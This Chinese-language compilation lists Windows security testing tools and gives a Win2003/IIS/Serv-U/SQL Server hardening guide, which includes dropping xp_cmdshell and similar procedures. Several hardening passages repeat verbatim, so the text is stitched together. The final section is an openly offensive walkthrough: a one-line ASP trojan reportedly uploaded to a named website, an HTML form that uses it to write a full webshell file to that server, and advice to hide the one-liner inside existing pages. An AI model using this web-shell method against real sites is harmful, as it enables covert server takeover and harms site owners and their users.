基于
Widnows
平台的电脑,有
7
类常见的安全测试工具,它们是:
1.
端口扫描
(Port scanners)
2. 网络 / 操作系统弱点扫描 (Network/OS vulnerability scanners
3. 应用程序 / 数据库弱点扫描 (Application/database vulnerability scanners)
4. 密码破解 (Password crackers)
5. 文件查找工具 (File searching tools)
6. 网络分析 (Network analyzers)
7. 漏洞检查工具
2. 网络 / 操作系统弱点扫描 (Network/OS vulnerability scanners
3. 应用程序 / 数据库弱点扫描 (Application/database vulnerability scanners)
4. 密码破解 (Password crackers)
5. 文件查找工具 (File searching tools)
6. 网络分析 (Network analyzers)
7. 漏洞检查工具
工具名称
|
相关站点
|
擅长方面
|
免费
|
|
|
SuperScan version 3
|
www.foundstone.com/resources/proddesc/superscan3.htm
|
快速并且易用的端口扫描器,可以在运行的系统中寻找开放的端口和正在运行的服务,抓取
banner
信息包括软件的版本。
|
SoftPerfect Network Scanner
|
www.softperfect.com/products/networkscanner
|
映射
MAC
地址到
IP
地址,可以帮你定位随机的有线和无线的系统
|
NetBIOS Auditing Tool (NAT)
|
www.cotse.com/tools/netbios.htm
|
灵巧的
Windows
网络共享密码的破解工具
|
Winfingerprint
|
http://winfingerprint.sourceforge.net
|
Windows
信息列举工具,它可以搜索到补丁的等级信息,
NetBIOS
信息,用户信息等
|
Metasploit
|
www.metasploit.org
|
一个强大的查找基于
Windows
平台弱点的工具
|
Cain & Abel
|
www.oxid.it
|
一个很不错的混合密码破解工具
|
商用
|
|
|
QualysGuard
|
www.qualys.com
|
强大且易用且全面的网络
/
操作系统弱点扫描工具,适用于上千种新老漏洞。
|
GFI LANguard Network Security Scanner
|
www.gfi.com/lannetscan
|
一套完美的定位于
Windows
系统,功能强大且价格低廉的的网络
/
操作系统弱点扫描工具
|
N-Stealth
|
www.nstalker.com
|
一款物美价廉的针对运行
IIS
的系统扫描工具
|
WebInspect
|
www.spidynamics.com/products/webinspect/index.html
|
彻底的挖掘基于
IIS
,
Apach
等系统的
Web
应用程序弱点
|
WinHex
|
www.winhex.com/winhex/index-m.html
|
查找运行程序遗留于内存中的敏感信息
--
完全搜索类似于
“
密码
”
,
“SSN”
,等等之类的文本信息。以发现那些未清除干净的敏感信息
|
AppDetective for MS SQL Server
|
www.appsecinc.com/products/appdetective/mssql
|
全面的
SQL Server
数据库安全扫描工具
|
Proactive Password Auditor
|
www.elcomsoft.com/ppa.html
|
一个效果明显且简单易用的用户密码破解工具
--
支持
Rainbow Table
|
Effective File Search
|
www.sowsoft.com/search.htm
|
强大的文本搜索工具,适用于搜索本地文件或服务器上的共享文件。
--
完全搜索类似于
“
密码
”
,
“SSN”
,等等之类的文本信息。
以发现那些未被保护的敏感信息
|
EtherPeek
|
www.wildpackets.com/products/etherpeek/overview
|
完美的网络分析器,可以找出不怀好意的系统,未被认可的协议,
找出上层的讲话者
,
以及更多
|
本配置仅适合
Win2003
,部分内容也适合于
Win2000
。很多人觉得
3389
不安全,其实只要设置好,密码够长,攻破
3389
也不是件容易的事情,我觉得别的远程软件都很慢,还是使用了
3389
连接。
经测试,本配置在
Win2003 + IIS6.0 + Serv-U + SQL Server
的单服务器多网站中一切正常。以下配置中打勾的为推荐进行配置,打叉的为可选配置。
一、系统权限的设置
1
、磁盘权限
系统盘只给
Administrators
组和
SYSTEM
的完全控制权限
其他磁盘只给
Administrators
组完全控制权限
系统盘
/Documents and Settings
目录只给
Administrators
组和
SYSTEM
的完全控制权限
系统盘
/Documents and Settings/All Users
目录只给
Administrators
组和
SYSTEM
的完全控制权限
系统盘
/windows/system32/config/
禁止
guests
组
系统盘
/Documents and Settings/All Users/
「开始」菜单
/
程序
/
禁止
guests
组
系统盘
/windowns/system32/inetsrv/data/
禁止
guests
组
系统盘
/Windows/System32/ at.exe
、
attrib.exe
、
cacls.exe
、
net.exe
、
net1.exe
、
netstat.exe
、
regedit.exe
文件只给
Administrators
组和
SYSTEM
的完全控制权限
系统盘
/Windows/System32/ cmd.exe
、
format.com
仅
Administrators
组完全控制权限
把所有
(Windows/system32
和
Windows/ServicePackFiles/i386) format.com
更名为
format_nowayh.com
2
、本地安全策略设置
开始菜单
->
管理工具
->
本地安全策略
A
、本地策略
-->
审核策略
审核策略更改 成功 失败
审核登录事件 成功 失败
审核对象访问失败
审核过程跟踪 无审核
审核目录服务访问失败
审核特权使用失败
审核系统事件 成功 失败
审核账户登录事件 成功 失败
审核账户管理 成功 失败
B
、本地策略
-->
用户权限分配
关闭系统:只有
Administrators
组、其它全部删除。
通过终端服务拒绝登陆:加入
Guests
组
通过终端服务允许登陆:加入
Administrators
、
Remote Desktop Users
组,其他全部删除
C
、本地策略
-->
安全选项
交互式登陆:不显示上次的用户名 启用
网络访问:不允许
SAM
帐户和共享的匿名枚举
启用
网络访问:不允许为网络身份验证储存凭证 启用
网络访问:可匿名访问的共享 全部删除
网络访问:可匿名访问的命全部删除
网络访问:可远程访问的注册表路径全部删除
网络访问:可远程访问的注册表路径和子路径全部删除
帐户:重命名来宾帐户重命名一个帐户
帐户:重命名系统管理员帐户 重命名一个帐户
D
、账户策略
-->
账户锁定策略
将账户设为
“5
次登陆无效
”
,
“
锁定时间为
30
分钟
”
,
“
复位锁定计数设为
30
分钟
”
二、其他配置
·
把
Administrator
账户更改
管理工具
→
本地安全策略
→
本地策略
→
安全选项
·
新建一无任何权限的假
Administrator
账户
管理工具
→
计算机管理
→
系统工具
→
本地用户和组
→
用户
更改描述:管理计算机
(
域
)
的内置帐户
·
重命名
IIS
来宾账户
1
、管理工具
→
计算机管理
→
系统工具
→
本地用户和组
→
用户
→
重命名
IUSR_ComputerName
2
、打开
IIS
管理器
→
本地计算机
→
属性
→
允许直接编辑配置数据库
3
、进入
Windows/system32/inetsrv
文件夹
→MetaBase.xml→
右键编辑
→
找到
"AnonymousUserName"→
写入
"IUSR_"
新名称
→
保存
4
、关闭
"
允许直接编辑配置数据库
"
·
禁止文件共享
本地连接属性
→
去掉
"Microsoft
网络的文件和打印共享
"
和
"Microsoft
网络客户端
"
前面的
"√"
·
禁止
NetBIOS(
关闭
139
端口
)
本地连接属性
→TCP/IP
属性
→
高级
→WINS→
禁用
TCP/IP
上的
NetBIOS
管理工具
→
计算机管理
→
设备管理器
→
查看
→
显示隐藏的设备
→
非即插即用驱动程序
→
禁用
NetBios over tcpip→
重启
·
防火墙的设置
本地连接属性
→
高级
→Windows
防火墙设置
→
高级
→
第一个
"
设置
"
,勾选
FTP
、
HTTP
、远程桌面服务
·
禁止
ADMIN$
缺省共享、磁盘默认共享、限制
IPC$
缺省共享
(
匿名用户无法列举本机用户列表、禁止空连接
)
新建
REG
文件,导入注册表
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] "AutoshareWks"=dword:00000000 "AutoShareServer"=dword:00000000 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] "restrictanonymous"=dword:00000001 |
·
删除以下注册表主键
WScript.Network WScript.Network.1 {093FF999-1EA0-4079-9525-9614C3504B74} WScript.Shell WScript.Shell.1 {72C24DD5-D70A-438B-8A42-98424B88AFB8} Shell.Application Shell.Application.1 {13709620-C279-11CE-A49E-444553540000} |
·
更改
3389
端口为
12344
这里只介绍如何更改,既然本端口公布出来了,那大家就别用这个了,端口可用
windows
自带的计算器将
10
进制转为
16
进制,
16
进制数替换下面两个的
dword:
后面的值
(7
位数,不够的在前面补
0)
,登陆的时候用
10
进制,端口更改在服务器重启后生效。新建
REG
文件,导入注册表
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] "PortNumber"=dword:0003038 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] "PortNumber"=dword:00003038 |
最后别忘了
Windows
防火墙允许
12344
端口,关闭
3389
端口
·
禁止非管理员使用
at
命令,新建
REG
文件,导入注册表
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] "SubmitControl"=dword:00000001 |
·
卸载最不安全的组件
运行
"
卸载最不安全的组件
.bat"
,重启后更名或删掉
Windows/System32/
里的
wshom.ocx
和
shell32.dll
----------------
卸载最不安全的组件
.bat-----------------
regsvr32/u %SystemRoot%/System32/wshom.ocx regsvr32/u %SystemRoot%/System32/shell32.dll regsvr32/u %SystemRoot%/System32/wshext.dll |
-------------------------------------------------------
·Windows
日志的移动
打开
"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Eventlog/"
Application
子项:应用程序日志
Security
子项:安全日志
System
子项:系统日志
分别更改子项的
File
键值,再把
System32/config
目录下的
AppEvent.Evt
、
SecEvent.Evt
、
SysEvent.Evt
复制到目标文件夹,重启。
·
Windows
日志的保护
1 、移动日志后的文件夹 → 属性 → 安全 → 高级 → 去掉 " 允许父系的继承权限 ……"→ 复制 → 确定
2 、保留 System 账户和 User 组, System 账户保留除完全控制和修改之外的权限, User 组仅保留只读权限
3 、 AppEvent.Evt 、 SysEvent.Evt 保留 Administrator 、 System 账户和 User 组, Administrator 、 System 账户保留除完全控制和修改之外的权 限, User 组仅保留只读权限;
DnsEvent.Evt 、 SecEvent.Evt 保留 System 账户和 User 组, System 账户保留除完全控制和修改之外的权限, User 组仅保留只读权限
· 要手动停止 / 禁用的服务: Computer Browser 、 Error reporting service 、 Microsoft Serch 、 Print Spooler 、 Remote Registry 、 Server 、 TCP/IP NetBIOS Helper 、 Workstation
· 解决在 IIS 6.0 中,无法下载超过 4M 的附件(现改为 10M )
停止 IIS 服务 → 打开 WINDOWS/system32/inetsrv/→ 记事本打开 MetaBase.xml→ 找到 AspBufferingLimit 项 → 值改为 10485760
· 设置 Web 上传单个文件最大值为 10 MB
停止 IIS 服务 → 打开 WINDOWS/system32/inetsrv/→ 记事本打开 MetaBase.xml→ 找到 AspMaxRequestEntityAllowed 项 → 值改为 10485760
· 重新定位和设置 IIS 日志文件的权限
1 、将 IIS 日志文件的位置移动到非系统分区:在非系统的 NTFS 分区新建一文件夹 → 打开 IIS 管理器 → 右键网站 → 属性 → 单击 " 启用日志 记录 " 框架中的 " 属性 "→ 更改到刚才创建的文件夹
2 、设置 IIS 日志文件的权限:浏览至日志文件所在的文件夹 → 属性 → 安全 → 确保 Administrators 和 System 的权限设置为 " 完全控制 "
· 配置 IIS 元数据库权限
打开 Windows/System32/Inetsrv/MetaBase.xml 文件 → 属性 → 安全 → 确认只有 Administrators 组的成员和 LocalSystem 帐户拥有对元 数据库的完全控制访问权,删除所有其他文件权限 → 确定
解释 Web 内容的权限
打开 IIS 管理器 → 右键想要配置的网站的文件夹、网站、目录、虚拟目录或文件
脚本源文件访问,用户可以访问源文件。如果选择 " 读 " ,则可以读源文件;如果选择 " 写 " ,则可以写源文件。脚本源访问包括脚本的源代码 。如果 " 读 " 或 " 写 " 均未选择,则此选项不可用。
读(默认情况下选择):用户可以查看目录或文件的内容和属性。
写:用户可以更改目录或文件的内容和属性。
目录浏览:用户可以查看文件列表和集合。
日志访问:对网站的每次访问创建日志项。
检索资源:允许检索服务检索此资源。这允许用户搜索资源。
· 关闭自动播放
运行组策略编辑器( gpedit.msc ) → 计算机配置 → 管理模板 → 系统 → 关闭自动播放 → 属性 → 已启用 → 所有驱动器
· 禁用 DCOM
运行 Dcomcnfg.exe 。控制台根节点 → 组件服务 → 计算机 → 右键单击 “ 我的电脑 ”→ 属性 ”→ 默认属性 ” 选项卡 → 清除 “ 在这台计算机上启用分布式 COM” 复选框。
· 启用父路径
IIS 管理器 → 右键网站 → 属性 → 主目录 → 配置 → 选项 → 启用父路径
· IIS 6.0 系统无任何动作超时时间和脚本超时时间
IIS 管理器 → 右键网站 → 属性 → 主目录 → 配置 → 选项 → 分别改为 40 分钟和 180 秒
· 删除不必要的 IIS 扩展名映射
IIS 管理器 → 右击 Web 站点 → 属性 → 主目录 → 配置 → 映射,去掉不必要的应用程序映射,主要为 .shtml, .shtm, .stm
· 增加 IIS 对 MIME 文件类型的支持
IIS 管理器 → 选择服务器 → 右键 → 属性 →MIME 类型(或者右键 web 站点 → 属性 →HTTP 头 →MIME 类型 → 新建)添加如下表内容,然后重启 IIS ,扩展名 MIME 类型
1 、移动日志后的文件夹 → 属性 → 安全 → 高级 → 去掉 " 允许父系的继承权限 ……"→ 复制 → 确定
2 、保留 System 账户和 User 组, System 账户保留除完全控制和修改之外的权限, User 组仅保留只读权限
3 、 AppEvent.Evt 、 SysEvent.Evt 保留 Administrator 、 System 账户和 User 组, Administrator 、 System 账户保留除完全控制和修改之外的权 限, User 组仅保留只读权限;
DnsEvent.Evt 、 SecEvent.Evt 保留 System 账户和 User 组, System 账户保留除完全控制和修改之外的权限, User 组仅保留只读权限
· 要手动停止 / 禁用的服务: Computer Browser 、 Error reporting service 、 Microsoft Serch 、 Print Spooler 、 Remote Registry 、 Server 、 TCP/IP NetBIOS Helper 、 Workstation
· 解决在 IIS 6.0 中,无法下载超过 4M 的附件(现改为 10M )
停止 IIS 服务 → 打开 WINDOWS/system32/inetsrv/→ 记事本打开 MetaBase.xml→ 找到 AspBufferingLimit 项 → 值改为 10485760
· 设置 Web 上传单个文件最大值为 10 MB
停止 IIS 服务 → 打开 WINDOWS/system32/inetsrv/→ 记事本打开 MetaBase.xml→ 找到 AspMaxRequestEntityAllowed 项 → 值改为 10485760
· 重新定位和设置 IIS 日志文件的权限
1 、将 IIS 日志文件的位置移动到非系统分区:在非系统的 NTFS 分区新建一文件夹 → 打开 IIS 管理器 → 右键网站 → 属性 → 单击 " 启用日志 记录 " 框架中的 " 属性 "→ 更改到刚才创建的文件夹
2 、设置 IIS 日志文件的权限:浏览至日志文件所在的文件夹 → 属性 → 安全 → 确保 Administrators 和 System 的权限设置为 " 完全控制 "
· 配置 IIS 元数据库权限
打开 Windows/System32/Inetsrv/MetaBase.xml 文件 → 属性 → 安全 → 确认只有 Administrators 组的成员和 LocalSystem 帐户拥有对元 数据库的完全控制访问权,删除所有其他文件权限 → 确定
解释 Web 内容的权限
打开 IIS 管理器 → 右键想要配置的网站的文件夹、网站、目录、虚拟目录或文件
脚本源文件访问,用户可以访问源文件。如果选择 " 读 " ,则可以读源文件;如果选择 " 写 " ,则可以写源文件。脚本源访问包括脚本的源代码 。如果 " 读 " 或 " 写 " 均未选择,则此选项不可用。
读(默认情况下选择):用户可以查看目录或文件的内容和属性。
写:用户可以更改目录或文件的内容和属性。
目录浏览:用户可以查看文件列表和集合。
日志访问:对网站的每次访问创建日志项。
检索资源:允许检索服务检索此资源。这允许用户搜索资源。
· 关闭自动播放
运行组策略编辑器( gpedit.msc ) → 计算机配置 → 管理模板 → 系统 → 关闭自动播放 → 属性 → 已启用 → 所有驱动器
· 禁用 DCOM
运行 Dcomcnfg.exe 。控制台根节点 → 组件服务 → 计算机 → 右键单击 “ 我的电脑 ”→ 属性 ”→ 默认属性 ” 选项卡 → 清除 “ 在这台计算机上启用分布式 COM” 复选框。
· 启用父路径
IIS 管理器 → 右键网站 → 属性 → 主目录 → 配置 → 选项 → 启用父路径
· IIS 6.0 系统无任何动作超时时间和脚本超时时间
IIS 管理器 → 右键网站 → 属性 → 主目录 → 配置 → 选项 → 分别改为 40 分钟和 180 秒
· 删除不必要的 IIS 扩展名映射
IIS 管理器 → 右击 Web 站点 → 属性 → 主目录 → 配置 → 映射,去掉不必要的应用程序映射,主要为 .shtml, .shtm, .stm
· 增加 IIS 对 MIME 文件类型的支持
IIS 管理器 → 选择服务器 → 右键 → 属性 →MIME 类型(或者右键 web 站点 → 属性 →HTTP 头 →MIME 类型 → 新建)添加如下表内容,然后重启 IIS ,扩展名 MIME 类型
.iso application/octet-stream.rmvb application/vnd.rn-realmedia
|
· 禁止 dump file 的产生
我的电脑 → 右键 → 属性 → 高级 → 启动和故障恢复 → 写入调试信息 → 无。
dump 文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料 ( 不然我就照字面意思翻译成垃圾文件了 ) 。然而,它也能够给黑客提供 一些敏感信息比如一些应用程序的密码等。
三、 Serv-U FTP 服务的设置
· 本地服务器 → 设置 → 拦截 "FTP_bounce" 攻击和 FXP
对于 60 秒内连接超过 10 次的用户拦截 5 分钟
· 本地服务器 → 域 → 用户 → 选中需要设置的账号 → 右边的 " 同一 IP 只允许 2 个登录 "
· 本地服务器 → 域 → 设置 → 高级 → 取消 " 允许 MDTM 命令来更改文件的日期 / 时间 "
设置 Serv-U 程序所在的文件夹的权限, Administrator 组完全控制,禁止 Guests 组和 IIS 匿名用户有读取权限
服务器消息,自上而下分别改为:
服务器工作正常,现已准备就绪...错误!请与管理员联系!FTP服务器正在离线维护中,请稍后再试!FTP服务器故障,请稍后再试!当前账户达到最大用户访问数,请稍后再试!很抱歉,服务器不允许匿名访问!您上传的东西太少,请上传更多东西后再尝试下载!
|
四、 SQL 安全设置
审核指向 SQL Server 的连接
企业管理器 → 展开服务器组 → 右键 → 属性 → 安全性 → 失败
修改 sa 账户密码
企业管理器 → 展开服务器组 → 安全性 → 登录 → 双击 sa 账户
SQL 查询分析器
use master exec sp_dropextendedproc xp_cmdshell exec sp_dropextendedproc xp_dirtreeexec sp_dropextendedproc xp_enumgroupsexec sp_dropextendedproc xp_fixeddrivesexec sp_dropextendedproc xp_loginconfigexec sp_dropextendedproc xp_enumerrorlogsexec sp_dropextendedproc xp_getfiledetailsexec sp_dropextendedproc Sp_OACreate exec sp_dropextendedproc Sp_OADestroy exec sp_dropextendedproc Sp_OAGetErrorInfo exec sp_dropextendedproc Sp_OAGetProperty exec sp_dropextendedproc Sp_OAMethod exec sp_dropextendedproc Sp_OASetProperty exec sp_dropextendedproc Sp_OAStop exec sp_dropextendedproc Xp_regaddmultistring exec sp_dropextendedproc Xp_regdeletekey exec sp_dropextendedproc Xp_regdeletevalue exec sp_dropextendedproc Xp_regenumvalues exec sp_dropextendedproc Xp_regread exec sp_dropextendedproc Xp_regremovemultistring exec sp_dropextendedproc Xp_regwrite drop procedure sp_makewebtask
|
这里我已经通过上传传上了一句话木马的
<%execute request("value")%>
这就是一句话木马的代码 .
传好后本地构建一个页面
其代码如下
其代码如下
<form action=http://www.dianyidian.com/images/upfile/2005-5/20055412150.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("fhod")
lP.SaveToFile server.mappath("ck.asp"),2
lP.Close
set lP=nothing
response.redirect "ck.asp"
</textarea>
<textarea name=fhod cols=120 rows=10 width=45> 添入生成木马的内容 </textarea><BR><center><br>
<input type=submit value= 提交 >
其中的
<form action=http://www.dianyidian.com/images/upfile/2005-5/20055412150.asp method=post>
就是你已经插如一句话代码的地址 .. 在得到一 WEBSHELL 后 ,. 你可以把一句话代码插到以有的页面代码里 .. 达到隐蔽性 .
lP.SaveToFile server.mappath("ck.asp"),2
lP.Close
set lP=nothing
response.redirect "ck.asp"